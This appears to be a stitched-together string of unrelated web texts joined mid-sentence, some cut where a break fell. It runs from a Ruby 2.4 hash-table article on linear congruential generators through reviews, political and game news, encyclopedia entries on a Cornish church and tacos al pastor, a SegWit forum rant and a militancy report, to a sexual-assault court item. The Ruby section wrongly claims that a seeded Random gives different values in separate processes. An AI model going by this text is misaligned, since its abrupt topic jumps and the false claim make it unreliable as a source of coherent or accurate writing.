Even though the new approach may produce more hash collisions, it will ultimately improve performance, because collisions will probe the available bins linearly.
The open addressing strategy in Ruby 2.4 uses a "full cycle linear congruential generator".
This is just a function that generates pseudorandom numbers based on a seed, much like Ruby's Rand#rand method.
Given the same seed the Rand#rand method will generate the same sequence of numbers, even if we create a new instance:
irb> r = Random.new(7) # => #<Random:0x007fee63030d50> irb> r.rand(1..100) # => 48 irb> r.rand(1..100) # => 69 irb> r.rand(1..100) # => 26 irb> r = Random.new(7) # => #<Random:0x007fee630ca928> irb> r.rand(1..100) # => 48 irb> r.rand(1..100) # => 69 irb> r.rand(1..100) # => 26 # Note that these values will be distinct for separate Ruby processes. # If you run this same code on your machine you can expect to get different numbers.
Similarly a linear congruential generator will generate the same numbers in sequence if we give it the same starting values.
This is the algorithm for a linear congruential generator:
X n+1 = (a * X n + c ) % m
For carefully chosen values of a, c, m and initial seed X 0 the values of the sequence X will be pseudorandom.
Here are the rules for choosing these values:
m must be greater than 0 (m > 0)
a must be greater than 0 and less than m (0 < a < m)
c must be greater than or equal to 0 and less than m (0 <= c < m)
X 0 must be greater than or equal to 0 and less than m (0 <= X 0 < m)
Implemented in Ruby the LCG algorithm looks like this:
irb> a, x_n, c, m = [5, 7, 3, 16] # => [5, 7, 3, 16] irb> x_n = (a * x_n + c) % m # => 6 irb> x_n = (a * x_n + c) % m # => 1 irb> x_n = (a * x_n + c) % m # => 8
For the values chosen above that sequence will always return 6, 1 and 8, in that order. Because I've chosen the initial values with some additional constraints, the sequence will also choose every available number before it comes back around to 6.
An LCG that returns each number before returning any number twice is known as a "full cycle" LCG.
For a given seed we describe an LCG as full cycle when it will traverse every available state before returning to the seed state.
So if we have an LCG that is capable of generating 16 pseudorandom numbers, it's a full cycle LCG if it will generate a sequence including each of those numbers before duplicating any of them.
irb> (1..16).map { x_n = (a * x_n + c) % m }.sort # => [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
These are the additional rules we must use when choosing our starting values to make an LCG full cycle:
c can't be 0 (c!= 0)
m and c are relatively prime (the only positive integer that divides both of them is 1)
(a - 1) is divisible by all prime factors of m
(a - 1) is divisible by 4 if m is divisible by 4
The first requirement makes our LCG into a "mixed congruential generator". Any LCG with a non-zero value for c is described as a mixed congruential generator, because it mixes multiplication and addition.
If c is 0 we call the generator a "multiplicative" congruential generator (MCG), because it only uses multiplication. An MCG is also known as a Lehmer Random Number Generator (LRNG).
The last 3 requirements in the list up above make a mixed cycle congruential generator into a full cycle LCG. Those 3 rules by themselves are called the Hull-Dobell Theorem.
The Hull-Dobell Theorem describes a mixed congruential generator with a full period (one that generates all values before repeating).
In Ruby 2.4 Vladimir has implemented an LCG that satisfies the Hull-Dobell Theorem, so Ruby will traverse the entire collection of bins without duplication.
Remember that the new hash table implementation uses the lower bits of a key's hash to find a bin for our key-index reference, a reference that maps the entry's key to its index in the entries table.
If the first attempt to find a bin for a key results in a hash collision, future attempts will use a different means of calculating the hash.
The unused bits from the original hash are used with the collision bin index to generate a new secondary hash, which is then used to find the next bin.
When the first attempt results in a collision the bin searching function becomes a full cycle LCG, guaranteeing that we will eventually find a home for our reference in the bins array.
Since this open addressing approach allows us to store the much smaller references to entries in the bins array, rather than the entirety of the entries themselves, we significantly decrease the memory required to store the bins array.
The new smaller bins array then increases our chances of taking advantage of the processor caching levels, by keeping this frequently accessed data structure close together in memory. Vladimir improved the data locality of the Ruby hash table.
Yup! We now have significantly faster hashes in Ruby thanks to Vladimir and a whole host of other Ruby contributors. Please make sure you make a point of thanking the Ruby maintainers the next time you see one of them at a conference.
Contributing to open source can be a grueling and thankless job. Most of the time contributors only hear from users when something is broken, and maintainers can sometimes forget that so many people are appreciating their hard work every day.
The best way to express your gratitude for Ruby is to make a contribution.
There are all sorts of ways to get started contributing to Ruby, if you're interested in contributing to Ruby itself check out the Ruby Core community page.
Another great way to contribute is by testing preview versions as they’re released, and reporting potential bugs on the Ruby issues tracker. Watch the Recent News page (RSS feed) to find out when new preview versions are available.
If you don't have the time to contribute to Ruby directly consider making a donation to Ruby development:
Not even close. There are many more interesting updates to be found in the Ruby 2.4 ChangeLog.
Here are a few of my favorites that I didn't have time to cover:
Thank you so much for reading, I hope you have a wonderful holiday.More books have been written with Napoleon (1769-1821) in the title than there have been days since his death, writes prolific historian and Napoleonic Institute fellow Roberts (The Storm of War: A New History of the Second World War, 2011, etc.) in this 800-page doorstop. Entirely conventional and mostly admiring, it fills no great need, but few readers will complain.
After his early years in the backwater of Corsica, Napoleon’s influential father sent him to France at the age of 9 to learn French and be educated in an elite military academy. An obscure officer when the revolution broke out in 1789, he left his post to spend most of those years in a complex factional struggle in Corsica, which he ultimately lost. He fled to France in 1793, a penniless but fiercely ambitious artillery captain. Six years later, already a national hero after a brilliant campaign in Italy, he engineered a coup that made him dictator. For the next 15 years, except for a brief armistice, his armies rampaged through Europe, mostly crushing opposing forces until he overreached in Spain and Russia and went down to defeat and humiliating exile. “Although his conquests ended in defeat and ignominious imprisonment,” writes the author, “over the course of his short but eventful life he fought sixty battles and lost only seven. For any general, of any age, this was an extraordinary record.” Readers will find this book to be a long but mostly pleasant reading experience, although some will doubt that Napoleon “saved the best aspects of the Revolution, discarded the worst, and ensured that even when the Bourbons were restored they could not return to the Ancient Regime.”
Other opinionated observers—Paul Johnson, Charles Esdaile, Alan Schom—consider Napoleon a self-absorbed opportunist plagued by his incompetent economics, pugnacious foreign policy, totalitarian government and massive propaganda, but Roberts offers a solid reconsideration.Not on Team Cruz: Cornyn. (Ron T. Ennis/Star-Telegram ia AP)
Ted Cruz starts his presidential campaign today with enviable name recognition, solid support from the hardcore conservative activist base and a media frenzy that other Republican candidates will be hard-pressed to surpass. What he doesn't have is much vocal support from other GOP senators -- starting with his fellow Texan, John Cornyn.
Interviewed Monday by Politico, Cornyn kept a hands-off posture toward the developing 2016 race: “You know, we’ve got a lot of Texans who are running for president, so I’m going to watch from the sidelines," the second-ranking Senate Republican said, referring as well to former Gov. Rick Perry.
That's not a huge surprise -- Cornyn made clear his intention to stay out of the race on several occasions, including in a September interview with the Washington Post's Karen Tumulty -- but it does highlight the strained relationship Cruz has with his Republican colleagues in the Senate.
[Ted Cruz: ‘I am running for president of the United States’]
There's no rule that senators seeking the presidency need endorsements from colleagues to succeed, but it certainly doesn't hurt -- especially when it comes to fundraising. And what can be especially helpful is the backing of members of the leadership leadership like Cornyn, now the majority whip and previously chairman of the National Republican Senatorial Committee, who serve as gatekeepers to high-dollar national donors.
And, in this case, Cruz's lack of an endorsement from his fellow Texans stands in sharp contrast to another presidential aspirant, Rand Paul (R-Ky.), who has already won the backing of Majority Leader Mitch McConnell (R-Ky.) ahead of any campaign announcement.
[Transcript: Ted Cruz’s speech at Liberty University]
What accounts for the difference? Paul was strong supporter of McConnell in his hard-fought re-election won last year against Alison Lundergan Grimes. Cruz, meanwhile, refused to endorse Cornyn in a contested, if not particularly close, Republican primary, while making repeated comments critical of his party's leadership on the Hill.
"Washington insiders have a terrible record at picking winners and losers," Cruz said a year ago.
Said Cornyn in a statement on Cruz's presidential run: "I wish Ted and his family the best as he starts his campaign."Dawn of War 3 is real and we've seen it. For the full scoop check out the next issue of PC Gamer, which comes with a free Steam key for Dawn of War 2 and eight pages on the demo I saw at Relic headquarters recently.
For now, let's take a direct look at what's new in the sequel, which aims to merge the best aspects of Dawn of War 1 and 2 into Relic's biggest, most colourful RTS yet.
You play as three races in the campaign
Three races have been revealed: Space Marines, Orks and Eldar. The campaign moves between factions from mission to mission as each army converges on the same planet to retrieve a mysterious weapon. All of the factions have their own collection of heroes, elites, super units and super abilities that you develop over the course of the story. Gabriel Angelos returns to lead the Blood Ravens, and he'll tee off against an Eldar Farseer and an Ork Warlord.
Big armies are back
The battle I saw was comparable to a large-scale Dawn of War 1 encounter. Dozens of units exchanged glittering laser fire on an icy world. Hammer-wielding heroes and huge war machines waded through the troops, obliterating Eldar Guardians with rockets, gatling guns, bolters, flamers and brutal melee strikes.
There's method to the chaos. The designers want Dawn of War 3 to be their most accessible RTS yet, and that means making battles easier to read. Laser fire clearly shows where damage is being directed, and effects such as the Assault Marines' superhuman leaps are carefully calibrated to stand out in the busy battlefield. The result is a a visual hierarchy of threat that, Relic hopes, will make huge clashes easier to read.
In aid of this, some close detail has been sacrificed so Dawn of War 3 can shine in large-scale encounters, and Relic's artists have taken more inspiration from the colourful paint jobs of the tabletop game. It's a step away from the dark doom-laden tone of the fiction, and the game looks fantastic in motion.
Bases return
Dawn of War 1 style bases are back. They produce your workaday line units such as Tactical Marines, heavy-weapon Devastators and Dreadnought walkers. As in previous games, you build power generators and capture requisition points in the field to acquire resources.
If your Space Marines are too lazy to walk you can load units into three drop pods and smash them into a fight to surprise and squash the enemy. This is a key part of the Space Marines' 'death from above' strategy, which also incorporates jump-pack powered Assault Marines and a giant orbital laser—more on that later.
You collect and level up elite units
The designers talk about Dawn of War 3 armies in terms of line and elite units. Line units deliver continuous damage and try not to die; elite units deliver decisive strikes. Certain combinations of elite units will suit rush strategies, others will be more powerful lategame options. For example, returning Space Marine hero Gabriel Angelos is a close combat master that gives you a lot of power right away, so you might want to give another slot to a late-game ranged monster like the Imperial Knight.
You have three elite slots, which must be assigned before each battle. They are designed to let you define your play style, and to support a variety of strategies for each race. In the single player campaign you collect a wide range of elites that can be levelled up—an attempt to emulate the pleasure of collecting and building armies in the tabletop game. Elites can be individual heroes, crack units such as Assault Terminators, or super units.
For multiplayer, inspired by Dota's hero selection phase, Relic designers are considering an element of pick and counter-pick to the pre-battle screen, though they're yet to show exactly how this will work.
For Warhammer fans, units shown included Tactical Marines (with optional plasma weapon/flamethrower upgrades), Devastator Squads with lascannons, Dreadnoughts, Assault Marines, Gabriel Angelos, the Imperial Knight. On the Eldar side there were Guardians, Howling Banshees, Wraithguard, Falcons and Jetbikes. Unit upgrades give these line squads some tactical variation. Plasma weapons allow Tactical Marines to do more damage when stationary, but they they take the flamethrower instead they can lock down territory with fiery area-of-effect damage.
Super units are the series' biggest yet
Let's focus on the Imperial Knight for a moment. This huge walker is the biggest unit Relic has ever made. It has gatling cannons for arms and you can target missile bombardments from its back-mounted rocket launcher. Sometimes, when it gets very grumpy, it overheats and starts spewing fire out of its exhaust pipes. During this phase the gatling cannons glow white hot, the unit does more damage, and its bombardments create additional pools of burning flame on impact. It's ace.
Elite units like the Knight have special abilities, bringing some of Dawn of War 2's tactical micromanagement into Dawn of War 3. The knight has a sweeping gatling cannon attack that can deal massive damage to a forward arc, and the bombardment missiles can be individually placed, allowing you to scatter damage across the enemy line or focus in on one high-value target.
You can fire a giant orbital laser cannon
This is the Space Marine super ability. It calls a massive beam of death from the Dauntless battle cruiser orbiting the planet. Once the beam hits, you right-click to move it around. The more enemies it kills, the fatter, slower and deadlier it becomes, because that is how lasers work in Warhammer 40,000. Enemies caught in the laser are lifted upwards for a moment before they glow white hot and dissolve into ash.
A new cover system
Relic RTS games tend to have complex terrain with lots of medium and strong cover zones. The system has been simplified in Dawn of War 3 to allow for clearer counter-play. Cover in the demo I saw consisted of circular barricade structures that units can capture. Units in cover are resistant to ranged fire, but can be quickly eliminated by close-combat squads.
The change makes Dawn of War 3's big, chaotic battlefields easier to parse, and gives melee units an important role as siege-breakers. If you see an enemy heavy weapons team in cover, jump your Assault Marines in and watch them carve up the enemy squad with roaring chainswords.
That's all for now, but the speculation can begin. What will the Eldar and Ork super units be? What is the mysterious weapon on the planet? What do the Orks look like? Why not contemplate these issues while perusing our preview feature in the next issue of PC Gamer.critical paths Every week, Richard Cobbett takes a look at the world of story and writing in games.
How much should decisions affect in games? As with many such questions, the snap answers are "as much as possible" or simply "more", and I'm sure we can all think of a couple of examples that didn't do things as well as we'd have liked. Telltale for instance released two games in two weeks, with the standard complaint being that decisions have no relevance - that the plot rolls along whatever the player does. And that's fair. Later episodes of both Tales From The Borderlands and Game Of Thrones may deviate, but The Walking Dead never really did in either of its seasons, and nor did The Wolf Among Us. Likewise, neither Mass Effect 3 nor Dragon Age Inquisition are often notably different as a result of past decisions, with conveniently similar characters always on hand to fill necessary roles and keep things moving.
Witcher 2 was a case of 'be careful what you wish for'. Great choices, but locking off so much it could be hard to follow and often resulting in a weak ending as a result.
To some extent though... some, since I'm not saying companies don't exaggerate the scope of these games... the criticism often feels like people going online, reading up on how a performer's magic tricks work, and then complaining of either not being impressed, or in retrospect feeling let down that he didn't actually cut his assistant in half. Again, not always. Telltale in particular desperately needs some new tricks in its repertoire, and seeing the same ones again and again and again and again inevitably diminishes their effect. Pragmatically though, with forums and discussions and Twitter and walkthroughs and everything else stripping back every decision to decision/outcome, there's really little chance of any game standing a chance. Perhaps in the future, stories and narrative will be procedurally generated as the likes of Chris Crawford and Ken Levine want to see, but for the moment it's just not happening.
The crux of the issue though is that these decisions and their branching aren't created with the goal that many players think they are. For starters, they're not really about replayability, but responsiveness. Responsiveness is the art of making a game fit itself around you. Done properly, it's like it was designed specifically with your playthrough in mind, or that at the very least, that you have agency. In the case of, say, The Walking Dead Series 1, that's represented primarily through the relationship between protagonist Lee and his ward Clementine - an additional edge that says that while nominally your goal is to survive, what you're really doing is preparing her for the road ahead. Likewise, you can argue that whether Lee admits to his group that he's a murderer or not doesn't matter since they find out anyway, but that's to ignore the value of choosing how they find out and what that says about his character.
And yours. There's little more uncomfortable than making the best of a no-win situation.
Whether or not these things matter in the grand scheme of things is less relevant than it seems, simply because that's rarely where emotional resonance tends to live. It can, of course, in life or death moments and sacrifice and so on. More often though, it comes from two simple questions - "What do I want to do?" and "What would I do?" Throwing a baseball at an interracial couple to maintain a cover story in Bioshock: Infinite. Backstabbing a friend. Teaching the word'shit' to a little girl. The Walking Dead S1's most powerful moment isn't anything to do with zombies, and it doesn't lead to a damn thing except the credits and a really unfortunate coda - it's choosing Lee's last words, and what kind of man he dies as. It's one final chance to strengthen Clementine for what she has to face next, and to wrap up his story.
Say what you will about Mass Effect 3's ending, Citadel felt like the perfect wrap-up for all the relationship choices. They weren't NPCs by then, they were a family.
In comparison to that kind of moment, many grand ones just feel hollow. The death of a fictional universe has nothing on the misery of a beloved character, nor does its salvation come close to a moment of shared joy. If anything, big decisions tend to be amongst gaming's weakest due to lacking scope for subtlety - you get to do a thing, but you don't necessarily get to choose why you do the thing, and the paths laid out rarely do a convincing job that these really are the only choices on the table. An example that springs straight to mind is Spec Ops: The Line (a game that I really enjoyed), where much of the plot is predicated on the player 'choosing' to deploy a terrible weapon on what turns out to be civilians. The problem is that it's a false choice. There is no other way to continue, or to stop midway through if you spot what's going on, with the result that the sense of personal culpability is easily lost.
The industry is also full of binary good/evil paths with little in the way of sanity. Bioshock is one of the weakest in recent years, with its decision that harvesting the Little Sisters inherently means you're a world conquering monster, with no consideration to the idea that maybe you were a) sparing them their horrible fate, b) sacrificing some so that the rest could live, or c) ignorant of the truth until it was too late. The much underrated Bioshock 2 incidentally handled this far better, with your decisions informing your daughter Eleanor's moral philosophy based on her observations, up to and including being confused at apparent contradictions.
In most cases though, a game doesn't need much to make a decision effective. The fate worse than death awaiting Lady Boyle in Dishonored swung many towards a mercy-kill, despite knowing that she's just a polygonal character in a mask who will never appear again. Back in Vampire: Bloodlines, the story of Heather the ghoul was a mechanically very simple tale that thrust your badass vampire into an abusive relationship, and then made that abuse the path of least resistance. Again, on paper, it doesn't sound that big a deal. She dies whatever you do. Who cares? Except not. Because what happens up to that point says a lot about your character, and thus to some extent, you. Those were after all your choices, made all the worse by the fact that the quest starts not with brutality but with an act of mercy - saving a young woman's life as she bleeds to death in a hospital bed.
Another factor worth considering is that YouTube changes the rules dramatically. For the most part, developers struggle to get people to finish games once, never mind replaying them to see what else could have happened. A few years ago, the paths not taken in most games served two purposes - to reinforce that you'd actually made a decision, and to keep up a sense of mystery about what else might have happened. Now, not only is that cost-prohibitive on more than a casual basis, the only real reward is for people to watch the results and declare that nothing actually changed, therefore it was meaningless, despite the meaning usually coming from the entirety of the experience - the steps of a romance, the time to get to know a character so that you have a reason to care if they live or die, the weighing up of the situation so that when the decision comes, you're doing it for better reason than a dice-roll.
It's not enough to have something horrible happen to someone. The story has to build a reason to care, specifically.
There is of course much that can still be done with the big dramatic branches that get all the attention. Playing Dragon Age: Inquisition for instance, I was disappointed that many of my decisions only led to a bit of flavour text rather than the major consequences they seemed to lead to. In Telltale's Game of Thrones last week, there were definitely a couple of major moments that I found painfully railroaded (less so Borderlands, which I think in part is down to the fact that it's a flashback where the ending is pre-determined - while that shouldn't make any difference, it makes it easier to be carried by the story and its variably unreliable narrators).
For now though, it's just worth remembering that there's more to a good decision than whether or not it changes the world and throws everything off its axis. The difference between freedom and the illusion of it in narrative-driven games has always been a thin one, even in the best examples. If all the smaller moments building up to them achieve is to help build a better connection to the characters and the world so that they feel more meaningful, that's often enough. At least, when done properly.
And speaking of it being done properly...
The tragedy is that the single best attempt that's ever been made of doing both the big and small scale decisions is also one that nobody ever seems to look back on, and even fewer respect. I refer of course to Alpha Protocol. It's a weak game. It's a crap shooter. Some of the boss fights could double as torture in the hands of a particularly cruel interrogator. But! If you can put up with that, what's underneath is an absolute masterclass in what games can do with decisions. Every character, every plot element is intricately tied together, from an older spy who congratulates the main character for getting into his city undetected or bitches him out for making a scene, to a vendor who treats you better for going to him before anyone else, to relationships that cover the full spectrum from love to absolute loathing, in a globe-spanning adventure whose greatest achievement is doing it so quietly that its genius can go totally unnoticed. Just check its TV Tropes page to see just a little of how deep the rabbit hole goes.
Too bad it's a tough game to recommend. Still, whether you want to feel excited about the potential of in-game decisions, or simply sad that nobody else has come close to its level, there's only one super-spy worth calling. What's his name again?
Ah, yes. How could I have forgotten? And how I wish things had been different...SALINAS – Miranda Lopez won a $1,000 education bond for having tended and grown a huge cabbage.
The contest is part of a marketing program of Alabama-based Bonnie Plants, which awards one $1,000 scholarship in each state that participates in its National Bonnie Plants Cabbage Program.
Miranda is a third-grader at Madonna del Sasso School in Salinas, and her 28-pound cabbage was selected as the best in her classroom. Her name was then entered in a statewide drawing, where it was selected.
On Friday, Miranda will be acknowledged for her cabbage and her efforts by local officials and the California Department of Agriculture.
Any third-grade teacher can participate in the program. For more information, visit www.BonniePlants.com.
More than 67,400 California students took part in the contest, which was launched nationally in 2002.St. Enodoc Church, Trebetherick (Old Cornish: Gwenedek, St. Guenedoc) is a chapel in the parish of St Minver. It is located to the south of the village of Trebetherick, Cornwall, England, United Kingdom (grid reference ). It is a Grade I listed building.[1]
Background [ edit ]
The church is situated in sand dunes east of Daymer Bay and Brea Hill on the River Camel estuary. Wind-driven sand has formed banks that are almost level with the roof on two sides. From the sixteenth century to the middle of the nineteenth century, the church was virtually buried by the dunes and was known locally as "Sinking Neddy"[citation needed] or "Sinkininny Church".[1] To maintain the tithes required by the church, it had to host services at least once a year, so the vicar and parishioners descended into the sanctuary through a hole in the roof. By 1864 it was unearthed and the dunes were stabilized.[2] The church is surrounded by the Church course of the St Enodoc Golf Club.[3]
History [ edit ]
The church is said to lie on the site of a cave where Enodoc lived as a hermit.[4] The oldest fabric in the church dates from around the twelfth century. Additions were made in the thirteenth and fifteenth centuries. By the eighteenth century the church was partly submerged in sand.[1] During the nineteenth century the sand was removed and the church was cleaned and restored under the direction of the vicar of St Minver, Rev. W. Hart Smith.[4] The architectural restoration was carried out in 1863–64 by J. P. St Aubyn.[1]
Structure [ edit ]
The church is built in stone rubble with slate roofs. Its plan consists of a nave and chancel, a three-bay aisle to the south of the chancel, a north transept leading to the tower, which unusually is to the north of the church, and a south porch. The tower is in two stages and is surmounted by a low broach spire. On all four faces are small trefoil-headed belfry openings.[1]
Fittings and furniture [ edit ]
Church interior
The furnishings were largely replaced in 1863–64 although the base of a rood screen dating from around the fifteenth century has survived. The granite font dates from the twelfth century. It has a lead lined round bowl which stands on a shaft carved with cable moulding on a round base. A memorial stone to John Mably who died in 1687 is in the south porch. Inside the church on the south wall is a memorial to Ernest Edward Betjeman, the father of Sir John Betjeman, who died in 1984.[1] There is a memorial to the three crew lost on the brig Maria Asumpta, which was wrecked on The Rumps in 1995.[5]
External features [ edit ]
Betjeman memorial
In the churchyard are two headstones[6][7] and three tomb chests[8][9] which are listed Grade II. Also in the churchyard is the grave of the former poet laureate John Betjeman.[4] Interred there also are the ashes of Fleur Lombard, the first female firefighter to die on duty in peacetime Britain.[10]
About 0.6 miles (0.97 km) to the south of the church is Jesus Well. This is a holy well over which is a stone rubble wellhouse which was rebuilt probably in the nineteenth century and restored in the twentieth century. The wellhouse |
HOMINEM”.
You get slapped around with the following quote:
Fair enough, I agree with that up to a certain point.
You want to discuss the idea of the Segwit?
Current Segwit adoption page has 106 companies/wallets/exchanges signed up: https://bitcoincore.org/en/segwit_adoption/
Bitcoin Core capacity increase FAQ: https://bitcoincore.org/en/2015/12/23/capacity-increases-faq/
Bitcoin Core Segwit Benefits: https://bitcoincore.org/en/2016/01/26/segwit-benefits/
All kinds of other Segwit : https://medium.com/@SegWit.co
Lies about segwit:
Someone can steal your segwit coins.
Segwit isn’t a real increase and will take ages to take advantage off. Wrong, all wallets are ready and as soon as it’s activated it will be a big increase (~2.1MB throughput)
Technical debt.
It’s untested, it’s not, it’s the most tested feature in Bitcoin in recent history before a release. Companies have been actively testing since May 2016.
It needs to be a hard fork to work properly.
I don’t think I even need to discuss the idea of BU, but in short: it will definitely cause multiple unwanted forks. Bitcoin Core devs warned about this before. If you still need more information why, read Aarons articles about it: https://bitcoinmagazine.com/articles/how-bitcoin-unlimited-users-may-end-different-blockchains/ ; https://bitcoinmagazine.com/articles/why-bitcoin-unlimiteds-emergent-consensus-gamble/.
If you want to know more about how Satoshi was against multiple implementations. Funny comment by Gavin in that same thread:Al pastor (from Spanish, "shepherd style"), also known as tacos al pastor, is a dish developed in central Mexico that is based on shawarma spit-grilled meat brought by Lebanese immigrants to Mexico.[1] Being derived from shawarma, it is also similar to the Turkish döner kebab and the Greek gyros. In contrast to döner kebab and shawarma however, tacos al pastor are pork based. In some places of northern Mexico, as in Baja California, this taco is called taco de adobada. A similar dish from Puebla with different spices is tacos árabes.[2]
History [ edit ]
A wave of mainly Christian Lebanese immigration to Mexico took place in the late 19th and early 20th centuries. In the 1960s, Mexican-born progeny of Lebanese immigrants began opening their own restaurants and combining their heritage with Mexican cuisine.[3]
Grilling a vertical spit of stacked meat slices and cutting it off as it cooks was developed in the 19th century in Ottoman Turkey.[4][5] This is döner kebab, which is the origin of tacos al pastor, Middle Eastern shawarma, and Greek gyros.
Preparation [ edit ]
Pork is marinated in a combination of dried chilies, spices and pineapple. In some places, achiote is also added, and then slowly cooked with a gas flame on a vertical rotisserie called a trompo (lit: spinning top), very similar to how shawarma is cooked, with a piece of fresh onion and a pineapple on top.[6] When ready, the meat is then thinly sliced off the spit with a large knife. It is served on small tortillas, with finely chopped onions, cilantro, and occasionally a small slice of pineapple, and usually topped with some lemon or lime juice and hot salsa. This meat is a common ingredient in not just tacos, but also gringas, alambres, huaraches, tortas, burritos and pizza.
Plate of tacos al pastor
Varieties [ edit ]
In some places of northern Mexico, such as Nuevo León, Durango and Chihuahua, these are usually called tacos de trompo if served on corn tortillas, and gringas if they are served with cheese on wheat tortillas.
A similar dish is called tacos árabes, which originated in Puebla in the 1930s from Arab Mexican cuisine. Tacos árabes use shawarma-style meat carved from a spit, but are served in a pita-style bread called pan árabe. These tacos have been brought by Mexican immigrants to the United States in the past few years and have become popular in cities, such as Chicago and Los Angeles, two of the largest Mexican/Mexican-American population centers in the United States.[7]
A non-pork version featuring chicken marinated in the "al pastor" style was brought "back" to the Middle East in the early 2000s, and sold as "shawarma mexici". It is essentially a chicken shawarma made in the Middle Eastern style (wrapped with garlic mayonnaise, dill pickle, and french fries in a thin flatbread).
See also [ edit ]Intelligence Bureau has intercepted conversations of Hizbul Mujahideen chief Syed Salahuddin hatching devious plots against India. Headlines Today has accessed an urgent dispatch sent by the Director, Intelligence Bureau, to the Unified Command in Srinagar.
The missive says the IB has intercepted conversations of Hizbul Mujahideen chief Syed Salahuddin. The instruction in the intercepts is ominous - initiate 'unprecedented mobilisation and infiltration' across India. Headlines Today correspondent Ashraf Wani travelled to Pakistan Occupied Kashmir, where one of India's most wanted terrorists continues to hatch devious plots with the full backing of the Pakistan establishment.
Sitting comfortably in his ISI safe house near Muzzafarabad, Syed Salahuddin, commander-in-chief of the notorious Hizbul Mujahideen, has the full sanction of the Pakistani state to roam freely and to develop his strategy of bleeding India by a thousand cuts.
Salahuddin's plans for this summer are giving a headache to the top bosses in India's security establishment.
Headlines Today has accessed this Intelligence Bureau alert. Six days ago, on May 18, at his office in North Block, Home Minister P. Chidambaram chaired a high-level meeting of top intelligence officials.
During this meeting they discussed the voice spectrum analysis done on intercepts sent by the police's Special Cell in Srinagar. The voice on the intercepts had been positively identified as that of Syed Salahuddin. His instruction to top commanders is chilling - prepare for unprecedented mobilisation and infiltration into India.
Even in Muzzafarabad, Salahuddin makes no bones about his plans for a hot and bloody summer.
According to the IB report accessed by Headlines Today, Salahuddin is planning major infiltration through the Gurez sector of North Kashmir. His special focus is the Naushera Nar, which is also described in military parlance as the National Highway of Infiltration. Salahuddin is heard telling his commanders that 1200 HM cadres have been trained by him in the Mansehra and Kotli camps in PoK. Out of these, 750 terrorists are slated to cross over into India.
Salahuddin openly admits that after a period of relative lull, the time has come to up the ante against India.
"Hamari jo jung hai, guerrilla type ki jung hai (Our fight is guerilla-like). It can never be on a constant pace. Isme jo (nisyufaraz) aate hain, hamare liye koi masla nahin. Hum 10,000 rakhenge field me 10 lakh rakhenge ya 100 rakhenge, hame to occupation forces ke...ko thaka dena hai. (We have to tire out the occupation forces.). Aur Allah-tala ka ehsaan hai ki Jammu Kashmir ek aisa topography farham karta hai jahan hum bagair hi kisi dikkat ke occupation forces ke khilaf hazaron saal lad sakte hai. (We can move freely in this region and fight the forces for a thousand years.)," says Syed Salahuddin.
There are intelligence reports on how Salahuddin has instructed his commanders to increase suicide attacks not just in Kashmir but also target vital installations across India. Salahuddin is also known to be very happy that over the past few years, Pakistan has been getting more and more support from China in its war against India.
But now with David Coleman Headley exposing the nexus between the ISI and terror outfits like Jaish and Hizb during his trial in Chicago, Islamabad can no longer decry India's assertions as mere propaganda.Are you awake before dawn? Good. Go outside. Look east. Bask in the astronomical wonder of seeing all the brightest planets out at the same time, pinpricks of worlds drifting up from the horizon. Missed it? Try again any morning for the next month.
Starting this morning, all five planets bright enough to see with the naked eye are rising within hours of each other to form a glittering line slanting up from sunrise. Jupiter rises in the mid-evening and stays up all night right now. Mars, Saturn and Venus come next, with Mercury barely peeping over the horizon before the the burgeoning dawn washes it out. As an added bonus, Spica is joining the planetary party as one more unusually bright twinkle. (Can’t tell Mars and Spica apart? Mars has a reddish tint, while Spica is a cooler blue.)
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If you missed the view this morning (and who can blame you? Sleep is lovely!), don’t worry, you have another shot to see this tiny little astronomical miracle. The planets will be rising together in this formation from January 20th through February 20th, 2016 when their orbits will scatter them back across the sky. The daily dawn show will be easiest to see on January 25th.
The critical feature for catching the quintuplet is being able to spot Mercury before it is lost in glare. Its rise time depends on where exactly you are, but it can be as much as 80 to 120 minutes before dawn. Although it’s naked-eye visible, it can be easier to find with a pair of decent binoculars. Binoculars turned on Jupiter will also help you see its largest moons—Io, Europa, Ganymede and Callisto. Alas, even high-powered specs won’t help you spot Saturn’s rings, although they will assist you in appreciating its golden glow. If you’re going to stay out a while, use NASA’s Spot the Station to predict when the International Space Station will come streaking past your early-morning view.
This is the first time all five naked eye planets were out together since January 2005.
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Unwilling to brave the cold winter mornings? We’ll get a similar view of all five planets out strutting their stuff again this summer in the evening sky. August 13-19, 2016 all five will be up in the west. Those in the northern hemisphere be warned: although it may be extremely difficult to see Mercury and Venus tucked up against dusky sunsets. Those in the southern hemisphere should have a much clearer view, although then they’ll be braving winter weather of their own.
Did you get out for the planetary dance at dawn? We want to see your photos!
[Earth & Sky, Phys.org]
Image credit: Stellarium
Contact the author at mika.mckinnon@io9.com or follow her at @MikaMcKinnon.It has been a hectic and stressful few days for Oregon fans waiting on the Dakota Prukop decision.
The FCS transfer finally made his decision public on Tuesday afternoon. DuckTerritory followed up with Prukop to gain some insight on what led to his decision to enroll at Oregon next season.
"The biggest two reasons were meeting the team and getting to know some of the guys I would be there to compete with," Prukop said. "The caliber of athletes and the caliber of the their character really stood out to me at Oregon. I spent the last two weeks building a relationship with them and getting to know them. I spent time with Vernon Adams and Matt Hegarty while I was there and their experience from transferring. All of those things weighed deep in my decision."
What has to be the craziest part of the story is the gamble Mark Helfrich took.
"I was there at Oregon and I had not decided if I was going to visit Alabama or not. I actually asked Mark Helfrich if I should and he looked me right in the eyes and said I should. He said he had enough trust in me to take the visit and be absolutely sure. I was ready to commit while I was at Oregon. In fact, if he had told me to pick committing or taking the trip, I probably would have committed. But him having that much trust in me is probably the biggest reason I picked Oregon today."
Prukop plans to visit his week long stay in Hawaii. After that trip he will know when he makes it to Eugene.
"Right now I'm shooting for Jan. 4 and I think it's a great chance I make it. If not, I'll get there just before Spring ball starts worst case."
Despite picking Oregon, Prukop said he nearly picked Alabama following that visit.
"I did, I almost picked Alabama. I went back and forth for a while. The offense didn't make any difference to me. It was about the people and the coaches. I consider myself a trailblazer, I helped my coach in high school raise our football program there. Part of why I picked Oregon is I want to be the guy that comes and does what no one else has done before. And that's win a national championship."Seth Kellen, 19, was sentenced to 10 years of probation after he allegedly “penis slapped” his high school basketball teammates on the back, “digitally penetrated” another teammate and exposed himself to young boys in an elevator.
The incidents happened when the Browerville High School basketball team was in Minneapolis, Minn., for a tournament.
According to the Minneapolis Star-Tribune, Kellen will also probably get 30 days in jail after admitting to "felony fourth-degree criminal sexual conduct for using force or coercion during sexual contact."
